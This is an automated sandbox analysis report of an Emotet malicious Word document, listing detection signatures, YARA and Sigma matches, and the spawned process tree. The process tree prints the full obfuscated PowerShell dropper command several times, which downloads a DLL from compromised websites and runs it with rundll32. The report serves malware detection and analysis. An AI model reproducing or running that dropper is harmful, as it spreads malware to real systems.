Loading ...

Play interactive tourEdit tour

Analysis Report MAIL-0573188.doc

Overview

General Information

Sample Name:MAIL-0573188.doc
Analysis ID:337092
MD5:7ad5e41d03b2dfe72af417fa5b0cc164
SHA1:2a6c0fa93aba9ce560d271ce65d79db69422fc6c
SHA256:2d6cbcbc803638a13705a3b26afb3b34b72bc58601215566ba858c62882b8e61

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 2364 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2412 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArACcAdwAnACsAKAAnAFsAMwA6ACcAKwAnAC8ALwBzAGgAJwArACcAbwBwACcAKwAnAC4AJwApACsAJwBlAGwAJwArACcAZQAnACsAKAAnAG0AZQBuACcAKwAnAHMAbAAnACsAJwBpACcAKQArACgAJwBkACcAKwAnAGUALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwAnACsAJwBuAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAvAC8AJwApACsAJwBrACcAKwAoACcAaAAnACsAJwBhAG4AJwApACsAKAAnAGgAJwArACcAaABvACcAKQArACgAJwBhAGgAbwAnACsAJwBtACcAKQArACgAJwBuAGEAeQAuAG4AZQAnACsAJwB0AC8AJwArACcAdwBvAHIAZABwACcAKQArACgAJwByAGUAJwArACcAcwAnACkAKwAoACcAcwAvACcAKwAnAEMAJwApACsAKAAnAEcATQBDAC8AQAAnACsAJwBdACcAKQArACcAYQBuACcAKwAnAHcAJwArACgAJwBbADMAOgAvACcAKwAnAC8AJwApACsAKAAnAGMAYQAnACsAJwBtACcAKQArACgAJwBwAHUAJwArACcAcwBlACcAKwAnAHgAcABvACcAKwAnAC4AbwByAGcALwBkAGUAJwApACsAJwBwACcAKwAoACcAYQByACcAKwAnAHQAbQBlAG4AJwApACsAJwB0ACcAKwAoACcALQAnACsAJwBvAGYALQBvAGQAaABtACcAKQArACgAJwBtAGsAZAAvADkANQBlAFgAJwArACcAWgAnACsAJwBZACcAKQArACgAJwAvAEAAXQBhAG4AdwBbACcAKwAnADMAcwA6AC8ALwBnACcAKwAnAHUAcgAnACsAJwB6AHQAYQAnACsAJwBjAC4AdwB0AGMAJwArACcAaABlACcAKQArACcAdgBhACcAKwAnAGwAJwArACcAaQBlACcAKwAnAHIAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AYwAnACkAKwAoACcAbwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AWQB6ACcAKwAnAFoAJwApACsAKAAnADYAJwArACcAWQBaAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAnAF0AYQAnACsAKAAnAG4AdwAnACsAJwBbADMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABYADQAMQBQACAAKwAgACQATwBsADkAbwBuAGsAaQAgACsAIAAkAEYAMgAxAEQAKQA7ACQATgAzADIARQA9ACgAKAAnAFUAOAAnACsAJwA4ACcAKQArACcATgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAMQA0ADUAcQBzAGwAIABpAG4AIAAkAFEAYwBlAGMAaAA0AGgAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAWQBzAFQAZQBtAC4ATgBlAHQALgBXAGUAQgBDAEwASQBlAE4AVAApAC4AIgBkAG8AYABXAE4AbABvAGEARABmAGAAaQBMAGUAIgAoACQASQAxADQANQBxAHMAbAAsACAAJABRADIAeQBnADkAZwBfACkAOwAkAEQAMAA4AFUAPQAoACgAJwBIACcAKwAnADQAOAAnACkAKwAnAEsAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFEAMgB5AGcAOQBnAF8AKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADAAMgA5ADkAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAUQAyAHkAZwA5AGcAXwAsACgAKAAnAEMAbwAnACsAJwBuAHQAJwApACsAKAAnAHIAbwAnACsAJwBsAF8AJwApACsAKAAnAFIAJwArACcAdQBuACcAKQArACcARAAnACsAJwBMAEwAJwApAC4AIgB0AGAATwBzAHQAcgBpAGAATgBHACIAKAApADsAJABEADYANwBIAD0AKAAnAEsAMwAnACsAJwBfAEsAJwApADsAYgByAGUAYQBrADsAJABZADUANABFAD0AKAAnAEIAJwArACgAJwA3ADYAJwArACcASwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA3ADMAVgA9ACgAJwBRACcAKwAoACcANAAnACsAJwAyAEQAJwApACkA MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2420 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 1976 cmdline: POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArACcAdwAnACsAKAAnAFsAMwA6ACcAKwAnAC8ALwBzAGgAJwArACcAbwBwACcAKwAnAC4AJwApACsAJwBlAGwAJwArACcAZQAnACsAKAAnAG0AZQBuACcAKwAnAHMAbAAnACsAJwBpACcAKQArACgAJwBkACcAKwAnAGUALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwAnACsAJwBuAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAvAC8AJwApACsAJwBrACcAKwAoACcAaAAnACsAJwBhAG4AJwApACsAKAAnAGgAJwArACcAaABvACcAKQArACgAJwBhAGgAbwAnACsAJwBtACcAKQArACgAJwBuAGEAeQAuAG4AZQAnACsAJwB0AC8AJwArACcAdwBvAHIAZABwACcAKQArACgAJwByAGUAJwArACcAcwAnACkAKwAoACcAcwAvACcAKwAnAEMAJwApACsAKAAnAEcATQBDAC8AQAAnACsAJwBdACcAKQArACcAYQBuACcAKwAnAHcAJwArACgAJwBbADMAOgAvACcAKwAnAC8AJwApACsAKAAnAGMAYQAnACsAJwBtACcAKQArACgAJwBwAHUAJwArACcAcwBlACcAKwAnAHgAcABvACcAKwAnAC4AbwByAGcALwBkAGUAJwApACsAJwBwACcAKwAoACcAYQByACcAKwAnAHQAbQBlAG4AJwApACsAJwB0ACcAKwAoACcALQAnACsAJwBvAGYALQBvAGQAaABtACcAKQArACgAJwBtAGsAZAAvADkANQBlAFgAJwArACcAWgAnACsAJwBZACcAKQArACgAJwAvAEAAXQBhAG4AdwBbACcAKwAnADMAcwA6AC8ALwBnACcAKwAnAHUAcgAnACsAJwB6AHQAYQAnACsAJwBjAC4AdwB0AGMAJwArACcAaABlACcAKQArACcAdgBhACcAKwAnAGwAJwArACcAaQBlACcAKwAnAHIAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AYwAnACkAKwAoACcAbwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AWQB6ACcAKwAnAFoAJwApACsAKAAnADYAJwArACcAWQBaAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAnAF0AYQAnACsAKAAnAG4AdwAnACsAJwBbADMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABYADQAMQBQACAAKwAgACQATwBsADkAbwBuAGsAaQAgACsAIAAkAEYAMgAxAEQAKQA7ACQATgAzADIARQA9ACgAKAAnAFUAOAAnACsAJwA4ACcAKQArACcATgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAMQA0ADUAcQBzAGwAIABpAG4AIAAkAFEAYwBlAGMAaAA0AGgAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAWQBzAFQAZQBtAC4ATgBlAHQALgBXAGUAQgBDAEwASQBlAE4AVAApAC4AIgBkAG8AYABXAE4AbABvAGEARABmAGAAaQBMAGUAIgAoACQASQAxADQANQBxAHMAbAAsACAAJABRADIAeQBnADkAZwBfACkAOwAkAEQAMAA4AFUAPQAoACgAJwBIACcAKwAnADQAOAAnACkAKwAnAEsAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFEAMgB5AGcAOQBnAF8AKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADAAMgA5ADkAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAUQAyAHkAZwA5AGcAXwAsACgAKAAnAEMAbwAnACsAJwBuAHQAJwApACsAKAAnAHIAbwAnACsAJwBsAF8AJwApACsAKAAnAFIAJwArACcAdQBuACcAKQArACcARAAnACsAJwBMAEwAJwApAC4AIgB0AGAATwBzAHQAcgBpAGAATgBHACIAKAApADsAJABEADYANwBIAD0AKAAnAEsAMwAnACsAJwBfAEsAJwApADsAYgByAGUAYQBrADsAJABZADUANABFAD0AKAAnAEIAJwArACgAJwA3ADYAJwArACcASwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA3ADMAVgA9ACgAJwBRACcAKwAoACcANAAnACsAJwAyAEQAJwApACkA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 2484 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2764 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 2812 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Shuwftk\rwhokf.exo',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 2688 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vngxkvjbqisigbn\asgkrazesikwug.frl',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 2732 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qzqgszcguiavsow\gdavyvbzxdoyhw.ift',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                • rundll32.exe (PID: 2824 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gfhmd\pcib.aey',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                  • rundll32.exe (PID: 2456 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gwiivizeoc\rneajwbra.jdv',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                    • rundll32.exe (PID: 2496 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vshkfdgna\nswgiepj.iji',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000A.00000002.2105264847.00000000001F1000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    00000007.00000002.2100881704.00000000001F0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      00000008.00000002.2102904975.0000000000321000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        0000000C.00000002.2109299524.00000000001F0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          0000000A.00000002.2105243347.00000000001C0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
            Click to see the 11 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            7.2.rundll32.exe.1f0000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              13.2.rundll32.exe.1f0000.1.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                9.2.rundll32.exe.1b0000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                  9.2.rundll32.exe.1b0000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                    13.2.rundll32.exe.1c0000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                      Click to see the 16 entries

                      Sigma Overview

                      System Summary:

                      barindex
                      Sigma detected: Suspicious Encoded PowerShell Command LineShow sources
                      Source: Process startedAuthor: Florian Roth, Markus Neis: Data: Command: POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQ